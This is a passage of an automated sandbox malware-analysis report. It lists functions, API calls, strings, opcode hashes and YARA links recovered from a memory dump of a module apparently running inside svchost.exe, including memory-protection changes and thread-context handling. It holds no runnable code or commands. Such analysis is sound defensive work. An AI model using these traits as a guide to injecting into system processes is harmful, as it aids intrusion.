Instruction Fuzzy Hash: 85116320B0624C81FAEC6735755D3ED6151DF89FF4F245324D8B95E7DADE6CC6028A00

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07487510 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000023D07487538
__scrt_acquire_startup_lock.LIBCMT ref: 0000023D0748758A
_RTC_Initialize.LIBCMT ref: 0000023D074875B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000023D074875DE
__scrt_release_startup_lock.LIBCMT ref: 0000023D07487609

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 3c3fe68667dff4fe80a272d234669d31d8cc619f6e09dd2980a6d8291b9e6246
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 8681D12060020986FBDEABB9B4693ED2690EB85FC0F344525DAC85F796EB7CCB45C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07489DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 0000023D07489E49
GetLastError.KERNEL32 ref: 0000023D07489E57
LoadLibraryExW.KERNEL32 ref: 0000023D07489E81
FreeLibrary.KERNEL32 ref: 0000023D07489EC7
GetProcAddress.KERNEL32 ref: 0000023D07489ED3

Strings

api-ms-, xrefs: 0000023D07489E69

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 79f85826cf6d51ad5503668325f3eb0820c79513d775df27631519396261a7e3
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 7B31E321316A04E1EEAADB22B4487BC2794F748FA0F590526DDAD0F7D0EF3CD2858300

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07493DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000023D07493DE5
GetLastError.KERNEL32 ref: 0000023D07493DF1
CloseHandle.KERNEL32 ref: 0000023D07493E09
CreateFileW.KERNEL32 ref: 0000023D07493E34
WriteConsoleW.KERNEL32 ref: 0000023D07493E53

Strings

CONOUT$, xrefs: 0000023D07493E15

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 1caef314943c06c820d37def4def85c7bee3c22d55738b08747f0b803a2ac715
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 80118F31710B40C6E7548F62F84871976A4F789FE4F044225EA9E8B7A4CFBCCA14C744

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07483790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000023D0748379E
GetCurrentProcess.KERNEL32 ref: 0000023D074837CC
VirtualProtectEx.KERNEL32 ref: 0000023D074837EE
GetCurrentProcess.KERNEL32 ref: 0000023D07483809
VirtualProtectEx.KERNEL32 ref: 0000023D0748382A

Strings

wr, xrefs: 0000023D074837FF

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: b0eca06a6f4c8b09d40d523fc51e2d0440dc9bb3a155f1570d80a708f3836b32
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: F111572A704B85C2EF989F25F4086AD62A0FB89F85F454029DEC90BBA4EF3DC605C704

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07485B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000023D07485B6B
GetThreadContext.KERNEL32 ref: 0000023D07485CD5

Part of subcall function 0000023D07485960: GetCurrentThreadId.KERNEL32 ref: 0000023D07485964

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 1c20424270809de4c7a4d27453aea059877fcba37ac5a0a130ee922f3b7d126c
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: AAD17876205B8882DB749B5AF49839EB7A0F388F84F144116EACD4BBA5DF3CC651CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07482F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000023D07482F27
HeapAlloc.KERNEL32 ref: 0000023D07482F3A
StrCmpNIW.SHLWAPI ref: 0000023D07482FAF
GetProcessHeap.KERNEL32 ref: 0000023D07483015
HeapFree.KERNEL32 ref: 0000023D07483023

Strings

dialer, xrefs: 0000023D07482FA8

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 3e80cf93344f9922d6f9a33a9fe0b4d5177704c8d71f898fda4120b4878cee31
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 71314B32701B5982EA99DF26F5487AD67A0FB44F84F084125DF884BB59EB7CCAA1D700

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D074814A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000023D074814C5
HeapFree.KERNEL32 ref: 0000023D074814D4
GetProcessHeap.KERNEL32 ref: 0000023D074814E1
HeapFree.KERNEL32 ref: 0000023D074814F0
GetProcessHeap.KERNEL32 ref: 0000023D07481500

Strings

C:\Windows\system32\svchost.exe, xrefs: 0000023D074961A9, 0000023D074961B1

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\system32\svchost.exe
API String ID: 3168794593-4180442734
Opcode ID: 5f1dcf0d6982f64b78ee420bc41fcee6693c0fdf65c097574d0a291fc3cf39dd
Instruction ID: 4d64a477369c4dc256e88d52594d81231af5bf76bd40be5b438022d7b9c461b5
Opcode Fuzzy Hash: 5f1dcf0d6982f64b78ee420bc41fcee6693c0fdf65c097574d0a291fc3cf39dd
Instruction Fuzzy Hash: 5131A2A7549AC4CBF359CF75F86A2493FA0F785F80F0A8015DAC40B25BEAACC6048702

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D0748CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000023D0748CFAF
FlsSetValue.KERNEL32(?,?,?,0000023D0748D6B5,?,?,?,?,0000023D0748D778), ref: 0000023D0748CFE5
FlsSetValue.KERNEL32(?,?,?,0000023D0748D6B5,?,?,?,?,0000023D0748D778), ref: 0000023D0748D012
FlsSetValue.KERNEL32(?,?,?,0000023D0748D6B5,?,?,?,?,0000023D0748D778), ref: 0000023D0748D023
FlsSetValue.KERNEL32(?,?,?,0000023D0748D6B5,?,?,?,?,0000023D0748D778), ref: 0000023D0748D034
SetLastError.KERNEL32 ref: 0000023D0748D04F

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 7c01105b601beb6768a881e90ecabf47caa7506042673e5fc1417e79ccc341f5
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 6D117220B0564C81FAECA735B55D3AD2152DB89FF4F140724E9B65F7D6DE6CC6028610

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D0748199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000023D074819C2
K32GetModuleFileNameExW.KERNEL32 ref: 0000023D074819E0
PathFindFileNameW.SHLWAPI ref: 0000023D074819EF
lstrlenW.KERNEL32 ref: 0000023D074819FB
StrCpyW.SHLWAPI ref: 0000023D07481A0E
CloseHandle.KERNEL32 ref: 0000023D07481A1C

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 7229500157534b9a5568f036d6b372abd36ba2eea793dce436327e4c170db93b
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: AE012D21300A4482EB68DB62F45C75963A5F788FC4F494036DE995B755DF7CC64AC740

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D074836C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000023D074836E4
GetCurrentProcess.KERNEL32 ref: 0000023D074836F2
VirtualProtectEx.KERNEL32 ref: 0000023D07483714
GetCurrentProcess.KERNEL32 ref: 0000023D07483732
VirtualProtectEx.KERNEL32 ref: 0000023D07483753
TerminateThread.KERNEL32 ref: 0000023D07483762

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 6dbb7f17221f21450fd4519921902a42b965d206acd2aa5d5387acdc063c68c2
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: EB012565612B44C2EB689B32F84D75A63A0FB89F86F044429CE890B765EFBDC208C701

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07489005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000023D07489013
_IsNonwritableInCurrentImage.LIBCMT ref: 0000023D074890A8
RtlUnwindEx.NTDLL ref: 0000023D074890F7

Strings

csm, xrefs: 0000023D0748908E
f, xrefs: 0000023D07489026

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 4ec86ffcffa523f17305f7ad60e8d21f77aa71240808d36eeb0139ce66d0f1fb
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 8E51D332705A088AEB9CDF35F84CBAD3796F344F98F158524DA964B788DB79EA41C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07488FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000023D07489013
_IsNonwritableInCurrentImage.LIBCMT ref: 0000023D074890A8
RtlUnwindEx.NTDLL ref: 0000023D074890F7

Strings

csm, xrefs: 0000023D0748908E
f, xrefs: 0000023D07489026

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: bbb9a036030e01340ea40a4c7516340e3a0e3b1c94fe781a89a96ebb2bb480f3
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: F3318B32204A449AE798EF21F84CBAD37A5F340F88F068514EE960B789DB3DEA40C704

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07481A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000023D07481A60
StrCmpNIW.SHLWAPI ref: 0000023D07481A7A
lstrlenW.KERNEL32 ref: 0000023D07481A89
StrCpyW.SHLWAPI ref: 0000023D07481A9E

Strings

\\?\, xrefs: 0000023D07481A6E

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 8b1ea791d492e051a6a5f560f98ef01646a3ca082c72ef4237c05654f6186504
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: C0F04F6270464592EB748F31F9C87996761F748FC8F844026DA894E958DF7CC78ECB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D0748BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000023D0748BCBD
GetProcAddress.KERNEL32 ref: 0000023D0748BCD3
FreeLibrary.KERNEL32 ref: 0000023D0748BCFA

Strings

mscoree.dll, xrefs: 0000023D0748BCB4
CorExitProcess, xrefs: 0000023D0748BCCC

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: c083d76f5508533886041f12d92a1c23cca41d73a7765f3a3c8c9015e1b7b179
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: CCF03661311B0581EB589F34F84D3596360EB85FB1F550219DAEA4D2F4DF7CC645C741

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07483044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000023D07483066
StrCpyW.SHLWAPI ref: 0000023D07483076
StrCatW.SHLWAPI ref: 0000023D07483082
PathCombineW.SHLWAPI ref: 0000023D07483090

Strings

\\.\pipe\, xrefs: 0000023D0748305C

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: f12fd6bcbb6c35ca28e44a02009b8ef21a2d0655591e0f71594d38ad61947dab
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: EEF08C20704B8482EA688F23F90C15D6260EB48FC0F098130EE9A0BB18DF7CC6458700

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D074850D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000023D07485156

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: ba218e462136e0ae0d89f6177578fb59d82ecd546d7ed8c5677e898f096e6404
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 5B02B936619B8486E7A4CB65F49439EB7A1F3C4B94F104115EACE8BBA8DF7CC554CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07485710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000023D07485726

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 98efdaf42cd78f23ef211d68fafc5c1564987426f19ba5f8b501cd8063dedd6d
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 1461DE36519B48C6E7A4CB65F45835EB7A0F388B94F504116EACD4BBA8DB7CC650CF00

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07494104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000023D0749412C
_set_statfp.LIBCMT ref: 0000023D07494147
_set_statfp.LIBCMT ref: 0000023D07494163
_set_statfp.LIBCMT ref: 0000023D0749419F

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: cc7cbdec94dd6148e78b23ef6a47b68351fc70a285df208c7f03a37e316feb49
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 6C117336A20AD192F66C557DF46F36711416BB8BB8F280624A9F60F7D6CAECCB434200

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D0748AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000023D0748AA68
_CallSETranslator.LIBVCRUNTIME ref: 0000023D0748AAB7

Strings

MOC, xrefs: 0000023D0748AA7C
RCC, xrefs: 0000023D0748AA85

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: f4222f78b70d96197592ca8e623792c41a43029aa6116e0b8cfdaad351544f69
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 59614C33600B888AEB54DF75E4843ED77A0F744B88F148216EF891BB99DBB8D695C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D0748AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000023D0748ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000023D0748AE88

Strings

csm, xrefs: 0000023D0748ADC2
csm, xrefs: 0000023D0748AEDA

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 6f326140f824d1c23eada85b6b96f84b3430e9a5907002ac987915b8b157a9cb
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: FE517E722006888AEBB88F35A4883AD77A1F754F85F148117DBD94BB95CBBCD691CB01

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07492058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000023D074920D7
WriteFile.KERNEL32 ref: 0000023D0749239F
WriteFile.KERNEL32 ref: 0000023D074923E5
GetLastError.KERNEL32 ref: 0000023D0749249B

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 94b10e408a37f488d3bf642eb029ef09c09ac234b146ed083a1e6d5d0532412b
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: FFD10632714A80AAE715CFB9E4443DC3BB1F354BD8F144216CE9D9BB99DAB8C616C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07492980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0000023D07492A9C
GetLastError.KERNEL32 ref: 0000023D07492B27

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 5adeb29f330fca4a1156594d1f9665db67ac8b9b59716915d492ad657bbd9f3e
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 1591C032B00654A5F768DF75E4883AD2BE0B749F98F144109DE8A6FA95DBFCC686C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07487960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000023D0748798C
GetCurrentThreadId.KERNEL32 ref: 0000023D0748799A
GetCurrentProcessId.KERNEL32 ref: 0000023D074879A6
QueryPerformanceCounter.KERNEL32 ref: 0000023D074879B6

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 10d57091a344b6d224eccc9a068e46721c6e144e3fd294c80a0a8b79bbeff356
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 80112E26715F05C9EB40CF70F8593A933B4F719B58F440E25DAAD4ABA4DB7CC2988380

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D0748253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000023D07482620
StrCpyW.SHLWAPI ref: 0000023D07482639

Strings

\\.\pipe\, xrefs: 0000023D0748262B

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: b9e97d7925e3759d2517def448fe1c886ddc244a2b66becdd97e7cfb7a4b9f8d
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: A171813620078986E7A9DE36F8483EE6794F389F84F550026DD8A5BB89DEBDC745C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07482330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000023D07482416
StrCpyW.SHLWAPI ref: 0000023D0748242D

Strings

\\.\pipe\, xrefs: 0000023D07482421

Memory Dump Source

